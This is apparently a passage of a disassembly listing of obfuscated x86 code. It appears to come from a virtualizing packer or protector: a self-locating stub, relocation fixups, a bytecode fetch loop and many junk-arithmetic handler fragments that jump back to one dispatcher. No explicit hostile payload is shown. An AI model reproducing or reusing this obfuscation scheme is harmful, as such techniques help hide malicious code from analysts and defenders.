		ja	short loc_58155D
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_58156B:				; CODE XREF: sub_57DD3A+380Cj
		or	eax, eax
		jnz	short loc_581548
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		pusha
		push	ecx
		movzx	ecx, cx
		pop	ecx
		mov	edx, [ebp+6150301h]
		popa
		push	esi
		sub	[ebp+6152279h],	edx
		pop	ebx
		pusha
		push	eax
		movsx	ebx, di
		pop	ecx
		or	edi, [ebp+6152835h]
		popa


loc_58159B:				; CODE XREF: sub_57DD3A:loc_57E99Dj
		mov	eax, ecx
		jmp	loc_5A32FE
; ---------------------------------------------------------------------------
		dw 1Bh
		dd 0FEF4026Dh, 230012h,	7032026Dh, 5Fh,	8B290000h, 8B29005Fh
		dd 206005Fh, 20000h, 10000h, 50000h, 9A2F0000h,	0FA42h
		dd 4 dup(0)
		dd 0BADB0000h, 0C1530058h, 0D22F0058h, 6F180058h, 9CC90058h
		dd 75C80058h, 7C9F0058h, 0DF520058h, 42200058h,	4C780058h
		dd 0DBC30058h, 0C6D00058h, 5B0D0058h, 3F0D0058h, 0C0A00058h
		dd 6BC70058h, 0A18D0058h, 77A20058h, 1F1D0058h,	71EC0058h
		dd 24C60058h, 85D20058h, 49D70058h, 1C040058h, 7FCD0058h
		dd 29180058h, 307F0058h, 31110058h, 0D8240058h,	0AEBF0058h
		dd 84A60058h, 0A4340058h, 0DCEF0058h, 0D2030058h, 9B8E0058h
		dd 0C64F0058h, 0A91B0058h, 0AFF00058h, 0C78B0058h, 0C0460058h
		dd 35E80058h, 63C30058h, 819B0058h, 0D8E00058h,	5C9D0058h
		dd 798F0058h, 0C8520058h, 0DBCC0058h, 0BB3F0058h, 56FB0058h
		dd 82C40058h, 79DB0058h, 0C44F0058h, 52880058h,	84350058h
		dd 9BEB0058h, 0B7DC0058h, 0C9250058h, 0C8A60058h, 6FCE0058h
		dd 84190058h, 337F0058h, 94910058h, 2D480058h, 238E0058h
		dd 6B020058h, 38E20058h, 2BC20058h, 0AE230058h,	0BEE50058h
		dd 0C7210058h, 47CE0058h, 0B24B0058h, 0DAB40058h, 5D050058h
		dd 99BC0058h, 8BCF0058h, 0A2800058h, 8B150058h,	0B5530058h
		dd 69C30058h, 3C820058h, 4D690058h, 39600058h, 74190058h
		dd 45290058h, 9E160058h, 0AF370058h, 21D20058h,	881B0058h
		dd 0D4990058h, 650E0058h, 7E030058h, 0B7540058h, 6C350058h
		dd 1C4A0058h, 0AEEE0058h, 3F480058h, 6CDA0058h,	93E70058h
		dd 31E60058h, 0D69D0058h, 0B6400058h, 911A0058h, 0DB630058h
		dd 7BB60058h, 0D8610058h, 2C440058h, 0D93E0058h, 44230058h
		dd 32510058h, 5FAE0058h, 0A37C0058h, 0DEE60058h, 0D6850058h
		dd 79E70058h, 56B80058h, 887E0058h, 4A2E0058h, 1AD30058h
		dd 93DA0058h, 0BDA30058h, 48300058h, 367F0058h,	954B0058h
		dd 0B4FC0058h, 2A2F0058h, 46250058h, 530E0058h,	0C4D60058h
		dd 0B7CE0058h, 570C0058h, 6BFB0058h, 68D80058h,	61050058h
		dd 0DEBC0058h, 93FD0058h, 2E6C0058h, 0A5D50058h, 9FF60058h
		dd 94C60058h, 45580058h, 4A7A0058h, 23280058h, 64470058h
		dd 51ED0058h, 0C3DE0058h, 651F0058h, 6A8B0058h,	7DB80058h
		dd 0C5EF0058h, 0D0950058h, 6B970058h, 99630058h, 3C060058h
		dd 37A50058h, 84740058h, 34530058h, 78D70058h, 0A7C80058h
		dd 66780058h, 3DD00058h, 5D1F0058h, 0BF010058h,	9BA60058h
		dd 50350058h, 6AF80058h
		db 58h,	0
; ---------------------------------------------------------------------------


loc_581882:				; CODE XREF: sub_57DD3A+25614j
					; sub_57DD3A+2561Ej ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6157E5Bh
		mov	eax, edi
		add	edi, 6157B73h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5818A0
		jmp	short loc_5818B3
; ---------------------------------------------------------------------------


loc_5818A0:				; CODE XREF: sub_57DD3A+3B62j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5818AF
; ---------------------------------------------------------------------------


loc_5818AA:				; CODE XREF: sub_57DD3A+3B77j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5818AF:				; CODE XREF: sub_57DD3A+3B6Ej
		or	ecx, ecx
		jnz	short loc_5818AA


loc_5818B3:				; CODE XREF: sub_57DD3A+3B64j
		mov	esi, [esp+50h+var_2E+2]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5818C0:				; CODE XREF: sub_57DD3A+3B8Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5818C0


loc_5818C9:				; CODE XREF: sub_57DD3A+3D5Fj
					; sub_57DD3A+3E38j ...
		lodsb
		push	small 1383h
		mov	word ptr [esp+52h+var_54+2], dx
		jmp	loc_58C144
; ---------------------------------------------------------------------------


loc_5818D7:				; CODE XREF: sub_57DD3A+CB81j
		and	edx, ebp
		mov	ebp, [esp+52h+var_54+2]
		add	esp, 4
		xor	edx, 732B4263h
		add	edi, edx
		pop	edx
		add	edi, 0BA07B6Ah
		add	edi, ecx
		push	eax
		mov	eax, 7D117A6Bh
		sub	eax, 26349FEh
		dec	eax
		inc	eax
		xor	eax, 710E4B07h
		sub	edi, eax
		pop	eax
		push	1DAFh
		mov	[esp+4Eh+var_50+2], ebx
		jmp	loc_58786C
; ---------------------------------------------------------------------------


loc_581915:				; CODE XREF: sub_57DD3A+6E35j
		mov	ebp, [esp+4Eh+var_50+2]
		jmp	loc_586E94
; ---------------------------------------------------------------------------


loc_58191D:				; CODE XREF: sub_57DD3A+ECDDj
		pop	esp
		mov	eax, [esp+4Ah+var_4C+2]
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], esi
		push	esp
		mov	esi, [esp+52h+var_54+2]
		jmp	loc_58A5FA
; ---------------------------------------------------------------------------


loc_581933:				; CODE XREF: sub_57DD3A+4B3Fj
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+52h+var_54+2], edi
		push	ecx
		mov	ecx, 76483C06h
		mov	edi, ecx
		pop	ecx
		neg	edi
		push	ebp
		mov	ebp, 76483C05h
		xor	edi, ebp
		pop	ebp
		jmp	loc_58ABD7
; ---------------------------------------------------------------------------


loc_581955:				; CODE XREF: sub_57DD3A+EC80j
		mov	[esp+52h+var_54+2], esp
		add	[esp+52h+var_54+2], 4
		jmp	loc_58BE91
; ---------------------------------------------------------------------------


loc_581961:				; CODE XREF: sub_57DD3A+F7F2j
		add	al, 3Dh
		mov	cx, word ptr [esp+52h+var_54+2]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		jmp	loc_58B824
; ---------------------------------------------------------------------------


loc_58197D:				; CODE XREF: sub_57DD3A+EA1Dj
		add	ecx, eax
		jmp	loc_5858C2
; ---------------------------------------------------------------------------


loc_581984:				; CODE XREF: sub_57DD3A+A6B7j
		mov	esi, 696E225Bh
		jmp	loc_58B2DF
; ---------------------------------------------------------------------------


loc_58198E:				; CODE XREF: sub_57DD3A+5087j
		push	esi
		push	ebp
		mov	ebp, 36477A81h
		sub	[esp+66h+var_64+2], ebp
		pop	ebp
		jmp	loc_5846E9
; ---------------------------------------------------------------------------


loc_58199F:				; CODE XREF: sub_57DD3A+4935j
		pop	ebp
		push	[esp+5Eh+var_60+2]
		jmp	loc_58557B
; ---------------------------------------------------------------------------


loc_5819A8:				; CODE XREF: sub_57DD3A+DAB3j
		sub	[esp+62h+var_5C+2], edx
		add	[esp+62h+var_5C+2], 4A922F27h
		jmp	loc_5831FF
; ---------------------------------------------------------------------------


loc_5819B9:				; CODE XREF: sub_57DD3A+F96Aj
		push	esp
		jmp	loc_585DE0
; ---------------------------------------------------------------------------


loc_5819BF:				; CODE XREF: sub_57DD3A+442Bj
		pop	cx
		push	small 5DE7h
		mov	word ptr [esp+66h+var_68+2], dx
		mov	dh, 0F9h
		jmp	loc_5874FD
; ---------------------------------------------------------------------------


loc_5819D0:				; CODE XREF: sub_57DD3A+DE37j
		mov	esi, 520D354Ah
		shl	esi, 8
		add	esi, 570C1783h
		add	edx, esi
		pop	esi
		jmp	loc_583943
; ---------------------------------------------------------------------------


loc_5819E6:				; CODE XREF: sub_57DD3A+E59Bj
		mov	edi, 194E6CFDh
		xor	eax, edi
		pop	edi
		sub	eax, 4A003658h
		jmp	loc_582B3F
; ---------------------------------------------------------------------------


loc_5819F8:				; CODE XREF: sub_57DD3A+A95Aj
		add	edx, edi
		push	dword ptr [edx]
		add	[esp+62h+var_64+2], 743A7130h
		mov	ecx, [esp+62h+var_64+2]
		jmp	loc_584905
; ---------------------------------------------------------------------------


loc_581A0B:				; CODE XREF: sub_57DD3A+8AADj
		mov	ebx, [esp+62h+var_64+2]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_58A3E9
		push	52Fh
		jmp	loc_587DC1
; ---------------------------------------------------------------------------


loc_581A29:				; CODE XREF: sub_57DD3A+F55Aj
		or	esi, 44CC6D1Dh
		push	edx
		mov	edx, 47916A73h
		shl	edx, 3
		jmp	loc_589802
; ---------------------------------------------------------------------------


loc_581A3D:				; CODE XREF: sub_57DD3A+6AA6j
		shl	eax, 2
		shr	eax, 4
		jmp	loc_58D663
; ---------------------------------------------------------------------------


loc_581A48:				; CODE XREF: sub_57DD3A+7524j
		xor	ebp, [esp+62h+var_64+2]
		pop	esp
		mov	[esp+5Eh+var_60+2], ebx
		jmp	loc_58DB8D
; ---------------------------------------------------------------------------


loc_581A54:				; CODE XREF: sub_57DD3A+B822j
		push	ebp
		jmp	loc_58DF15
; ---------------------------------------------------------------------------


loc_581A5A:				; CODE XREF: sub_57DD3A+4673j
		mov	[esp+62h+var_64+2], edi
		push	esp
		mov	edi, [esp+66h+var_68+2]
		add	esp, 4
		push	326Fh
		mov	[esp+66h+var_68+2], esi
		mov	esi, 4
		sub	edi, 224D6FE8h
		add	edi, esi
		add	edi, 224D6FE8h
		mov	esi, [esp+66h+var_68+2]
		add	esp, 4
		add	edi, 4
		jmp	loc_58BD4A
; ---------------------------------------------------------------------------


loc_581A90:				; CODE XREF: sub_57DD3A+67C0j
		mov	ebx, [esp+62h+var_64+2]
		add	esp, 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_581A9E:				; CODE XREF: sub_57DD3A+7E89j
		add	eax, 2
		jmp	loc_588739
; ---------------------------------------------------------------------------


loc_581AA8:				; CODE XREF: sub_57DD3A+DA15j
		or	eax, eax
		jz	loc_583536
		push	dword ptr [edi+28h]
		push	eax
		mov	eax, 27C2051Bh
		xor	[esp+66h+var_64+2], eax
		pop	eax
		jmp	loc_5841E3
; ---------------------------------------------------------------------------


loc_581AC3:				; CODE XREF: sub_57DD3A+4041j
		add	eax, 4
		xor	eax, [esp+62h+var_64+2]
		xor	[esp+62h+var_64+2], eax
		jmp	loc_58961E
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		push	edx
		mov	dh, 10h
		jmp	loc_58AC21
; ---------------------------------------------------------------------------


loc_581ADD:				; CODE XREF: sub_57DD3A+EE7Bj
		mov	edx, edi
		jmp	loc_585F27
; ---------------------------------------------------------------------------


loc_581AE4:				; CODE XREF: sub_57DD3A+10079j
		sub	ebp, 35776832h
		pop	eax
		xor	ebp, [esp+66h+var_68+2]
		xor	[esp+66h+var_68+2], ebp
		jmp	loc_582170
; ---------------------------------------------------------------------------
		dw 2489h
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 8Fh
		add	al, 24h
		add	[esp+66h+var_68+2], 4
		mov	ebx, [esp+66h+var_68+2]
		push	2018h
		jmp	loc_5839FE
; ---------------------------------------------------------------------------


loc_581B11:				; CODE XREF: sub_57DD3A+64CBj
		push	ebx
		jmp	loc_58C714
; ---------------------------------------------------------------------------


loc_581B17:				; CODE XREF: sub_57DD3A+E79Dj
		push	234h
		mov	[esp+72h+var_74+2], edx
		mov	dh, 0C1h
		sub	al, 86h
		add	al, 28h
		add	al, 68h
		sub	al, dh
		sub	al, 68h
		sub	esp, 4
		mov	[esp+76h+var_78+2], ebx
		mov	bh, 69h
		shl	bh, 1
		shl	bh, 1
		jmp	loc_5852ED
; ---------------------------------------------------------------------------


loc_581B3F:				; CODE XREF: sub_57DD3A+BF8Aj
		add	ebx, 1
		and	ebx, 56A94A71h
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], esi
		mov	esi, 178F17BAh
		inc	esi
		dec	esi
		xor	esi, 0D779A85Ah
		add	ebx, esi
		jmp	loc_581D6C
; ---------------------------------------------------------------------------


loc_581B65:				; CODE XREF: sub_57DD3A+60C4j
		mov	dh, bh
		jmp	loc_585A7D
; ---------------------------------------------------------------------------


loc_581B6C:				; CODE XREF: sub_57DD3A+BE3Cj
		btr	word ptr [esp+7Ah+var_7C+2], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_581B77:				; CODE XREF: sub_57DD3A+E229j
		add	eax, 2E4F7C8Dh
		dec	eax
		push	ebp
		mov	ebp, 6E221C48h
		xor	eax, ebp
		pop	ebp
		add	eax, 197F6F5Dh
		mov	ebx, eax
		pop	eax
		inc	ebx
		jmp	loc_582DDD
; ---------------------------------------------------------------------------


loc_581B94:				; CODE XREF: sub_57DD3A+4787j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+7Ah+var_7C+2]
		pop	esp
		jmp	loc_587670
; ---------------------------------------------------------------------------


loc_581BA7:				; CODE XREF: sub_57DD3A+E2CCj
		add	edi, ebp
		sub	edi, 7B118D5h
		sub	edi, 644616D3h
		jmp	loc_589374
; ---------------------------------------------------------------------------


loc_581BBA:				; CODE XREF: sub_57DD3A+53F2j
		add	esp, 4
		sub	al, bl
		sub	al, 0B5h
		push	dx
		mov	dl, 0A9h
		and	dl, 0A4h
		xor	dl, 62h
		sub	al, 15h
		sub	al, dl
		add	al, 15h
		jmp	loc_588E7B
; ---------------------------------------------------------------------------


loc_581BD9:				; CODE XREF: sub_57DD3A+AC85j
		add	eax, 60833FE7h
		dec	eax
		add	eax, 9323F2B3h
		mov	esi, eax
		pop	eax
		not	esi
		xor	esi, 10A017E9h
		push	ecx
		jmp	loc_5839A2
; ---------------------------------------------------------------------------


loc_581BF5:				; CODE XREF: sub_57DD3A+5017j
		mov	[esp+74h+var_74], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_588B88
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+78h+var_78], eax
		push	edx
		jmp	loc_582E06
; ---------------------------------------------------------------------------


loc_581C13:				; CODE XREF: sub_57DD3A+C6D8j
		push	[esp+7Ch+var_7C]
		push	[esp+80h+var_80]
		mov	ecx, [esp+84h+var_84]
		add	esp, 4
		add	esp, 4
		jmp	loc_589EEB
; ---------------------------------------------------------------------------


loc_581C2A:				; CODE XREF: sub_57DD3A+B8ABj
		or	eax, eax
		jz	loc_58D306
		push	edx
		push	ebp
		mov	ebp, 29CC3AC1h
		mov	edx, ebp
		jmp	loc_58A42C
; ---------------------------------------------------------------------------


loc_581C40:				; CODE XREF: sub_57DD3A+59B7j
		add	eax, 50AB2F9Ch
		jmp	loc_584836
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+80h+var_80], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_581C58:				; CODE XREF: sub_57DD3A+BAC3j
		add	bl, 9
		jmp	loc_587B9F
; ---------------------------------------------------------------------------


loc_581C60:				; CODE XREF: sub_57DD3A+F374j
		add	edi, 0D754B2B9h
		jmp	loc_58C91E
; ---------------------------------------------------------------------------


loc_581C6B:				; CODE XREF: sub_57DD3A+ADB0j
		dec	edi
		jmp	loc_585A6F
; ---------------------------------------------------------------------------


loc_581C71:				; CODE XREF: sub_57DD3A+7FE0j
		mov	[esp+84h+var_84], edx
		jmp	loc_58859B
; ---------------------------------------------------------------------------


loc_581C79:				; CODE XREF: sub_57DD3A+DDEDj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp+80h+var_80]
		pop	esp
		or	eax, eax
		jnz	loc_583536
		sub	esp, 4
		mov	[esp+80h+var_80], ebp
		push	0D4963BCh
		jmp	loc_58509A
; ---------------------------------------------------------------------------


loc_581CA6:				; CODE XREF: sub_57DD3A+E95Fj
		mov	[esp+84h+var_84], eax
		push	esp
		jmp	loc_583563
; ---------------------------------------------------------------------------


loc_581CAF:				; CODE XREF: sub_57DD3A+73EAj
		add	ecx, 4
		push	75D6h
		mov	[esp+8Ch+var_8C], ecx
		push	[esp+8Ch+var_88]
		pop	ecx
		pop	[esp+8Ch+var_8C]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	[esp+88h+var_88]
		pop	eax
		push	eax
		push	esp
		pop	eax
		jmp	loc_58C6B4
; ---------------------------------------------------------------------------


loc_581CD5:				; CODE XREF: sub_57DD3A+4B1Aj
		mov	esp, [esp+8Ch+var_8C]
		cmp	cx, ax
		pushf
		jmp	loc_5825FD
; ---------------------------------------------------------------------------


loc_581CE1:				; CODE XREF: sub_57DD3A+5395j
		add	ebx, 0FCE59D39h
		sub	edi, 727C73DCh
		add	edi, ebx
		add	edi, 727C73DCh
		pop	ebx
		add	edi, 4
		jmp	loc_58532E
; ---------------------------------------------------------------------------


loc_581CFE:				; CODE XREF: sub_57DD3A+AB74j
		mov	[esp+8Ch+var_8C], ebp
		push	esp
		pop	ebp
		push	ebx
		push	529Ah
		mov	[esp+94h+var_94], eax
		mov	eax, 6DCB0A01h
		push	edx
		jmp	loc_58CF49
; ---------------------------------------------------------------------------


loc_581D17:				; CODE XREF: sub_57DD3A+5B30j
		sub	esp, 4
		jmp	loc_58A639
; ---------------------------------------------------------------------------


loc_581D1F:				; CODE XREF: sub_57DD3A+E9EAj
		push	ebx
		mov	bl, 91h
		or	bl, 0DBh
		push	edx
		push	ebx
		mov	bh, 0C6h
		mov	dl, 0CDh
		sub	dl, bh
		pop	ebx
		neg	dl
		inc	dl
		not	dl
		and	dl, 4Ch
		or	dl, 81h
		sub	dl, 0AEh
		add	bl, dl
		jmp	loc_585FA8
; ---------------------------------------------------------------------------


loc_581D44:				; CODE XREF: sub_57DD3A+7384j
		pop	esp
		mov	[esp+0A0h+var_A0], ecx
		mov	ecx, 0FFFFFFFFh
		sub	esi, 7ACC73EDh
		add	esi, ecx
		add	esi, 7ACC73EDh
		push	[esp+0A0h+var_A0]
		pop	ecx
		jmp	loc_587949
; ---------------------------------------------------------------------------


loc_581D64:				; CODE XREF: sub_57DD3A+9DD4j
		mov	ecx, esp
		push	eax
		jmp	loc_58B70B
; ---------------------------------------------------------------------------


loc_581D6C:				; CODE XREF: sub_57DD3A+3E26j
		pop	esi
		and	eax, ebx
		push	[esp+76h+var_78+2]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_581AC3
; ---------------------------------------------------------------------------


loc_581D80:				; CODE XREF: sub_57DD3A+AEF6j
		sub	ax, 7D0Bh
		push	ecx
		mov	cx, 5D63h
		jmp	loc_5883C9
; ---------------------------------------------------------------------------


loc_581D8E:				; CODE XREF: sub_57DD3A+4DD3j
		sub	eax, 3EBAC4C1h
		sub	ebx, eax
		pop	eax
		sub	ebx, 38235602h
		add	ebx, eax
		push	66BBh
		mov	[esp+7Eh+var_80+2], edx
		mov	edx, 4D6A3213h
		jmp	loc_586639
; ---------------------------------------------------------------------------


loc_581DB0:				; CODE XREF: sub_57DD3A+6089j
		push	ebp
		push	esi
		jmp	loc_58387C
; ---------------------------------------------------------------------------


loc_581DB7:				; CODE XREF: sub_57DD3A+A4C5j
		add	eax, 6EEADCC5h
		sub	esi, eax
		pop	eax
		sub	ebp, 4D1C7C84h
		add	ebp, esi
		add	ebp, 4D1C7C84h
		pop	esi
		xchg	ebp, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		jmp	loc_58BDD6
; ---------------------------------------------------------------------------


loc_581DD9:				; CODE XREF: sub_57DD3A+EEE4j
		sub	esp, 4
		mov	[esp+82h+var_84+2], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp+82h+var_84+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_58BFBC
; ---------------------------------------------------------------------------


loc_581DFC:				; CODE XREF: sub_57DD3A+8E14j
		sub	edi, 199B2F6Fh
		pop	edx
		xchg	edi, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		ror	[esp+7Eh+var_80+2], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_581E12:				; CODE XREF: sub_57DD3A+B744j
		inc	edx
		jmp	loc_58CEA7
; ---------------------------------------------------------------------------


loc_581E18:				; CODE XREF: sub_57DD3A+F2E1j
		add	esp, 4
		push	[esp+7Eh+var_80+2]
		mov	eax, [esp+82h+var_84+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_589743
; ---------------------------------------------------------------------------


loc_581E35:				; CODE XREF: sub_57DD3A+FC97j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58283E
; ---------------------------------------------------------------------------


loc_581E48:				; CODE XREF: sub_57DD3A+F33Cj
		pop	eax
		shl	edi, 6
		jmp	loc_58480C
; ---------------------------------------------------------------------------


loc_581E51:				; CODE XREF: sub_57DD3A+50ADj
		mov	edx, 2EB71BDFh
		jmp	loc_582368
; ---------------------------------------------------------------------------


loc_581E5B:				; CODE XREF: sub_57DD3A+FDCBj
		add	ebp, 1B600ACAh
		jmp	loc_58DA24
; ---------------------------------------------------------------------------


loc_581E66:				; CODE XREF: sub_57DD3A+F919j
		mov	esi, 5BEB1ED4h
		sub	esi, 1DA7E79h
		or	esi, 180726BCh
		jmp	loc_58B8C2
; ---------------------------------------------------------------------------


loc_581E7C:				; CODE XREF: sub_57DD3A+F0CAj
		sub	dl, cl
		pop	ecx
		add	bl, dl
		push	[esp+7Eh+var_80+2]
		pop	edx
		add	esp, 4
		add	bl, al
		push	2748h
		mov	[esp+7Eh+var_80+2], edx
		mov	dl, 0F0h
		push	eax
		mov	al, 44h
		sub	bl, al
		jmp	loc_58CA1C
; ---------------------------------------------------------------------------


loc_581EA1:				; CODE XREF: sub_57DD3A+DB26j
		sub	ebp, edi
		pop	edi
		jmp	loc_5844C4
; ---------------------------------------------------------------------------


loc_581EA9:				; CODE XREF: sub_57DD3A+E831j
		push	esp
		pop	ecx
		push	edi
		jmp	loc_584845
; ---------------------------------------------------------------------------


loc_581EB1:				; CODE XREF: sub_57DD3A+F3A5j
		pop	ebx
		add	esp, 4
		jmp	loc_58C9EB
; ---------------------------------------------------------------------------


loc_581EBA:				; CODE XREF: sub_57DD3A+D8CEj
		pop	eax
		xor	ecx, [esp+76h+var_78+2]
		xor	[esp+76h+var_78+2], ecx
		xor	ecx, [esp+76h+var_78+2]
		pop	esp
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_581ECA:				; CODE XREF: sub_57DD3A+9B98j
		add	esi, ebp
		push	ebx
		mov	ebx, 4DD736DFh
		sub	ebx, 1A3DDE69h
		add	esi, ebx
		pop	ebx
		mov	ebp, [esp+72h+var_74+2]
		add	esp, 4
		jmp	loc_58A626
; ---------------------------------------------------------------------------


loc_581EE6:				; CODE XREF: sub_57DD3A+7E99j
		shr	cl, 5
		jmp	loc_585C6C
; ---------------------------------------------------------------------------


loc_581EEE:				; CODE XREF: sub_57DD3A+7119j
		sub	esp, 4
		mov	[esp+72h+var_74+2], ecx
		jmp	loc_585231
; ---------------------------------------------------------------------------


loc_581EF9:				; CODE XREF: sub_57DD3A+ABF3j
		not	ebx
		push	ebx
		push	[esp+76h+var_74+2]
		jmp	loc_58D0D8
; ---------------------------------------------------------------------------


loc_581F05:				; CODE XREF: sub_57DD3A+92EFj
		mov	ecx, 4D1A1CA6h
		xor	ecx, 4D1A1CA2h
		mov	edi, ecx
		pop	ecx
		add	[esp+76h+var_74+2], edi
		pop	edi
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+72h+var_74+2]
		push	ebp
		mov	ebp, esp
		push	528Ch
		mov	[esp+7Ah+var_7C+2], ecx
		mov	ecx, 676860BAh
		sub	ecx, 676860B6h
		add	ebp, ecx
		pop	ecx
		jmp	loc_58A722
; ---------------------------------------------------------------------------


loc_581F3F:				; CODE XREF: sub_57DD3A+FF4Ej
		or	[edi+1Ch], ebx
		jmp	loc_58671F
; ---------------------------------------------------------------------------


loc_581F47:				; CODE XREF: sub_57DD3A+DD83j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+76h+var_78+2]
		xor	[esp+76h+var_78+2], edx
		xor	edx, [esp+76h+var_78+2]
		jmp	loc_58D37A
; ---------------------------------------------------------------------------


loc_581F61:				; CODE XREF: sub_57DD3A+E414j
		push	40D0h
		mov	[esp+7Ah+var_7C+2], ecx
		push	ebx
		mov	bl, 8Fh
		mov	ch, 51h
		xor	ch, bl
		pop	ebx
		sub	al, ch
		mov	ecx, [esp+7Ah+var_7C+2]
		jmp	loc_589B64
; ---------------------------------------------------------------------------


loc_581F7B:				; CODE XREF: sub_57DD3A+82AAj
		push	79FAh
		mov	[esp+7Eh+var_80+2], ebx
		mov	bh, 0F3h
		shl	bh, 3
		and	bh, 23h
		jmp	loc_58407C
; ---------------------------------------------------------------------------


loc_581F90:				; CODE XREF: sub_57DD3A+7D54j
		mov	ebp, 2B54BA4Ah
		sub	edi, 7A185336h
		sub	edi, ebp
		add	edi, 7A185336h
		mov	ebp, [esp+7Eh+var_80+2]
		add	esp, 4
		and	eax, edi
		jmp	loc_589D44
; ---------------------------------------------------------------------------


loc_581FB0:				; CODE XREF: sub_57DD3A+B716j
		mov	edx, [esp+7Ah+var_7C+2]
		add	esp, 4
		mov	eax, [esp+76h+var_78+2]
		add	esp, 4
		mov	[edi+eax*4], ch
		pop	ecx
		jmp	loc_58C6E3
; ---------------------------------------------------------------------------


loc_581FCB:				; CODE XREF: sub_57DD3A+5F97j
		mov	word ptr [esp+6Eh+var_70+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_581FDB:				; CODE XREF: sub_57DD3A+A98Bj
		mov	[esp+74h+var_74], eax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_581FE3:				; CODE XREF: sub_57DD3A+57E3j
		pop	ebp
		xchg	edx, [esp+70h+var_70]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 63A20942h
		or	esi, 5EC33522h
		jmp	loc_58AD3B
; ---------------------------------------------------------------------------


loc_581FFC:				; CODE XREF: sub_57DD3A+4A7Ej
		add	[esp+74h+var_74], 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_582008:				; CODE XREF: sub_57DD3A+897Aj
		mov	bh, 0A1h
		mov	cl, bh
		pop	ebx
		mov	ah, cl
		pop	ecx
		or	ah, 0A3h
		neg	ah
		dec	ah
		xor	ah, 0D9h
		sub	bl, ah
		pop	eax
		pop	ecx
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58202A:				; CODE XREF: sub_57DD3A+80D3j
		sub	esp, 4
		jmp	loc_58ADEE
; ---------------------------------------------------------------------------


loc_582035:				; CODE XREF: sub_57DD3A+8436j
		push	ecx
		jmp	loc_586627
; ---------------------------------------------------------------------------


loc_58203B:				; CODE XREF: sub_57DD3A+AF59j
		push	46Fh
		mov	[esp+6Eh+var_70+2], edx
		mov	edx, 5A091176h
		shl	edx, 4
		xor	edx, 56255157h
		and	edx, 764C17B5h
		jmp	loc_584E7D
; ---------------------------------------------------------------------------


loc_58205C:				; CODE XREF: sub_57DD3A+E8E7j
		xor	eax, 310F744Ah
		xor	eax, 68E53F21h
		sub	esi, eax
		pop	eax
		pop	edx
		shr	esi, 5
		inc	esi
		jmp	loc_5871B0
; ---------------------------------------------------------------------------


loc_582073:				; CODE XREF: sub_57DD3A+AE62j
		sub	ebx, 67432E88h
		mov	edi, [esp+66h+var_68+2]
		push	esi
		mov	esi, esp
		jmp	loc_58C538
; ---------------------------------------------------------------------------


loc_582084:				; CODE XREF: sub_57DD3A+BD55j
		xor	[esp+6Ah+var_6C+2], ecx
		jmp	loc_588453
; ---------------------------------------------------------------------------


loc_58208C:				; CODE XREF: sub_57DD3A+AC73j
		pop	ebx
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+62h+var_64+2]
		jmp	loc_58CCF2
; ---------------------------------------------------------------------------


loc_5820A2:				; CODE XREF: sub_57DD3A+F699j
		push	ebp
		push	[esp+66h+var_64+2]
		pop	ebp
		jmp	loc_584CCB
; ---------------------------------------------------------------------------


loc_5820AD:				; CODE XREF: sub_57DD3A+7F64j
		sub	al, 0D3h
		jmp	loc_5868FF
; ---------------------------------------------------------------------------


loc_5820B4:				; CODE XREF: sub_57DD3A+9D97j
		pop	edx
		mov	ebx, [esp+62h+var_64+2]
		push	edi
		push	esp
		mov	edi, [esp+6Ah+var_6C+2]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_58818D
; ---------------------------------------------------------------------------


loc_5820D5:				; CODE XREF: sub_57DD3A+7125j
		push	[esp+6Ah+var_6C+2]
		pop	edx
